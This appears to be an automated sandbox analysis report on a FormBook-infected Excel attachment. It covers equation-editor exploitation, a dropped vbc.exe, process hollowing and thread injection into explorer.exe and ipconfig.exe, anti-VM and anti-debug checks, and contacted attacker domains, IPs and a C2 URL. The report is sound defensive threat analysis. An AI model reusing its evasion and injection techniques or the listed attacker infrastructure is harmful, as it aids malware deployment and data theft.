Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0009B40B push eax; ret 7_2_0009B472
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0009C40D push esi; iretd 7_2_0009C40F
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0009B402 push eax; ret 7_2_0009B408
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0009B46C push eax; ret 7_2_0009B472
Source: initial sample Static PE information: section name: .data entropy: 7.7471273442

Persistence and Installation Behavior:

barindex
Uses ipconfig to lookup or modify the Windows network settings
Source: unknown Process created: C:\Windows\SysWOW64\ipconfig.exe C:\Windows\SysWOW64\ipconfig.exe
Drops PE files
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Local\Temp\z9ayiyo.dll Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Local\Temp\nsqE488.tmp\System.dll Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\winlog[1] Jump to dropped file
Drops PE files to the user directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\winlog[1] Jump to dropped file

Boot Survival:

barindex
Drops PE files to the user root directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: QTN3C2AF414EDF9_041873.xlsx Stream path 'EncryptedPackage' entropy: 7.99993012299 (max. 8.0)

Malware Analysis System Evasion:

barindex
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\Public\vbc.exe RDTSC instruction interceptor: First address: 00000000004085E4 second address: 00000000004085EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\Public\vbc.exe RDTSC instruction interceptor: First address: 000000000040897E second address: 0000000000408984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\ipconfig.exe RDTSC instruction interceptor: First address: 00000000000885E4 second address: 00000000000885EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\ipconfig.exe RDTSC instruction interceptor: First address: 000000000008897E second address: 0000000000088984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\Public\vbc.exe Code function: 5_2_004088B0 rdtsc 5_2_004088B0
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2792 Thread sleep time: -300000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe TID: 1616 Thread sleep time: -36000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\ipconfig.exe Last function: Thread delayed
Source: C:\Users\Public\vbc.exe Code function: 4_2_00405A15 CloseHandle,GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose, 4_2_00405A15
Source: C:\Users\Public\vbc.exe Code function: 4_2_004065C1 FindFirstFileA,FindClose, 4_2_004065C1
Source: C:\Users\Public\vbc.exe Code function: 4_2_004027A1 FindFirstFileA, 4_2_004027A1
Source: explorer.exe, 00000006.00000000.2168448795.00000000001F5000.00000004.00000020.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000006.00000000.2183431407.0000000004234000.00000004.00000001.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: explorer.exe, 00000006.00000000.2183466751.0000000004263000.00000004.00000001.sdmp Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}ies
Source: explorer.exe, 00000006.00000000.2183431407.0000000004234000.00000004.00000001.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: vbc.exe, 00000004.00000002.2165759515.000000000058D000.00000004.00000020.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: explorer.exe, 00000006.00000000.2168570646.0000000000231000.00000004.00000020.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0&E}
Source: C:\Users\Public\vbc.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging:

barindex
Checks if the current process is being debugged
Source: C:\Users\Public\vbc.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\Public\vbc.exe Code function: 5_2_004088B0 rdtsc 5_2_004088B0
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\Public\vbc.exe Code function: 5_2_00409B20 LdrLoadDll, 5_2_00409B20
Contains functionality to dynamically determine API calls
Source: C:\Users\Public\vbc.exe Code function: 4_2_72E31A98 GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA, 4_2_72E31A98
Contains functionality to read the PEB
Source: C:\Users\Public\vbc.exe Code function: 4_2_722F478F mov eax, dword ptr fs:[00000030h] 4_2_722F478F
Source: C:\Users\Public\vbc.exe Code function: 4_2_722F458C mov eax, dword ptr fs:[00000030h] 4_2_722F458C
Source: C:\Users\Public\vbc.exe Code function: 5_2_008C0080 mov ecx, dword ptr fs:[00000030h] 5_2_008C0080
Source: C:\Users\Public\vbc.exe Code function: 5_2_008C00EA mov eax, dword ptr fs:[00000030h] 5_2_008C00EA
Source: C:\Users\Public\vbc.exe Code function: 5_2_008E26F8 mov eax, dword ptr fs:[00000030h] 5_2_008E26F8
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020C26F8 mov eax, dword ptr fs:[00000030h] 7_2_020C26F8
Enables debug privileges
Source: C:\Users\Public\vbc.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Process token adjusted: Debug Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 103.251.44.218 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 191.96.163.202 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 52.57.196.177 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 104.21.61.250 80 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\Public\vbc.exe Section loaded: unknown target: C:\Users\Public\vbc.exe protection: execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Section loaded: unknown target: C:\Windows\SysWOW64\ipconfig.exe protection: execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Section loaded: unknown target: C:\Windows\SysWOW64\ipconfig.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\Public\vbc.exe Thread register set: target process: 1388 Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Thread register set: target process: 1388 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Users\Public\vbc.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Sample uses process hollowing technique
Source: C:\Users\Public\vbc.exe Section unmapped: C:\Windows\SysWOW64\ipconfig.exe base address: 1A0000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe' Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe' Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\Public\vbc.exe' Jump to behavior
Source: explorer.exe, 00000006.00000002.2375979053.00000000006F0000.00000002.00000001.sdmp Binary or memory string: Program Manager
Source: explorer.exe, 00000006.00000002.2375979053.00000000006F0000.00000002.00000001.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000006.00000000.2168448795.00000000001F5000.00000004.00000020.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000006.00000002.2375979053.00000000006F0000.00000002.00000001.sdmp Binary or memory string: !Progman
Source: C:\Users\Public\vbc.exe Code function: 4_2_00403486 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_00403486

Stealing of Sensitive Information:

barindex
Yara detected FormBook
Source: Yara match File source: 00000005.00000001.2164030475.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2375588178.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2375705185.00000000001F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2205793716.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2167067209.0000000002900000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2205774849.00000000003A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2375743991.00000000002B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2205709374.0000000000230000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 4.2.vbc.exe.2900000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.vbc.exe.2900000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.1.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.1.vbc.exe.400000.0.unpack, type: UNPACKEDPE

Remote Access Functionality:

barindex
Yara detected FormBook
Source: Yara match File source: 00000005.00000001.2164030475.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2375588178.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2375705185.00000000001F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2205793716.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2167067209.0000000002900000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2205774849.00000000003A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2375743991.00000000002B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2205709374.0000000000230000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 4.2.vbc.exe.2900000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.vbc.exe.2900000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.1.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.1.vbc.exe.400000.0.unpack, type: UNPACKEDPE
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 356571 Sample: QTN3C2AF414EDF9_041873.xlsx Startdate: 23/02/2021 Architecture: WINDOWS Score: 100 53 Found malware configuration 2->53 55 Malicious sample detected (through community Yara rule) 2->55 57 Multi AV Scanner detection for dropped file 2->57 59 14 other signatures 2->59 10 EQNEDT32.EXE 13 2->10         started        15 EXCEL.EXE 37 19 2->15         started        process3 dnsIp4 49 algreenstdykeghestqw.dns.army 103.140.251.164, 49168, 80 VNPT-AS-VNVIETNAMPOSTSANDTELECOMMUNICATIONSGROUPVN Viet Nam 10->49 51 ow.ly 54.67.57.56, 49167, 80 AMAZON-02US United States 10->51 37 C:\Users\user\AppData\Local\...\winlog[1], PE32 10->37 dropped 39 C:\Users\Public\vbc.exe, PE32 10->39 dropped 79 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 10->79 17 vbc.exe 19 10->17         started        41 C:\Users\...\~$QTN3C2AF414EDF9_041873.xlsx, data 15->41 dropped file5 signatures6 process7 file8 33 C:\Users\user\AppData\Local\...\z9ayiyo.dll, PE32 17->33 dropped 35 C:\Users\user\AppData\Local\...\System.dll, PE32 17->35 dropped 61 Multi AV Scanner detection for dropped file 17->61 63 Detected unpacking (changes PE section rights) 17->63 65 Machine Learning detection for dropped file 17->65 67 2 other signatures 17->67 21 vbc.exe 17->21         started        signatures9 process10 signatures11 69 Modifies the context of a thread in another process (thread injection) 21->69 71 Maps a DLL or memory area into another process 21->71 73 Sample uses process hollowing technique 21->73 75 Queues an APC in another process (thread injection) 21->75 24 explorer.exe 21->24 injected process12 dnsIp13 43 athara-kiano.com 103.251.44.218, 49170, 80 IDNIC-JALANET-AS-IDPTJupiterJalaArtaID Indonesia 24->43 45 www.fashionwatchesstore.com 104.21.61.250, 49169, 80 CLOUDFLARENETUS United States 24->45 47 6 other IPs or domains 24->47 77 System process connects to network (likely due to code injection or exploit) 24->77 28 ipconfig.exe 24->28         started        signatures14 process15 signatures16 81 Modifies the context of a thread in another process (thread injection) 28->81 83 Maps a DLL or memory area into another process 28->83 85 Tries to detect virtualization through RDTSC time measurements 28->85 31 cmd.exe 28->31         started        process17
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
103.140.251.164
 unknown Viet Nam
135905 VNPT-AS-VNVIETNAMPOSTSANDTELECOMMUNICATIONSGROUPVN false
54.67.57.56
 unknown United States
16509 AMAZON-02US false
191.96.163.202
 unknown Chile
61317 ASDETUKhttpwwwheficedcomGB true
52.57.196.177
 unknown United States
16509 AMAZON-02US false
104.21.61.250
 unknown United States
13335 CLOUDFLARENETUS true
103.251.44.218
 unknown Indonesia
131775 IDNIC-JALANET-AS-IDPTJupiterJalaArtaID true

Contacted Domains

Name IP Active
ow.ly 54.67.57.56 true
algreenstdykeghestqw.dns.army 103.140.251.164 true
overseaexpert.com 191.96.163.202 true
athara-kiano.com 103.251.44.218 true
www.fashionwatchesstore.com 104.21.61.250 true
oryanos-env.eba-4sqpgjbe.eu-central-1.elasticbeanstalk.com 52.57.196.177 true
www.evoslancete.com unknown unknown
www.athara-kiano.com unknown unknown
www.oryanomer.com unknown unknown
www.overseaexpert.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.athara-kiano.com/nsag/?SFN=1e70w6qoH0iHBmxDX27vpOpA5lfYuhHzBJ3+ZXyYbvrIHeDq+MUfY30bwUf90UJ6GkTmZw==&cBb=LtD0g true
  • Avira URL Cloud: safe
 unknown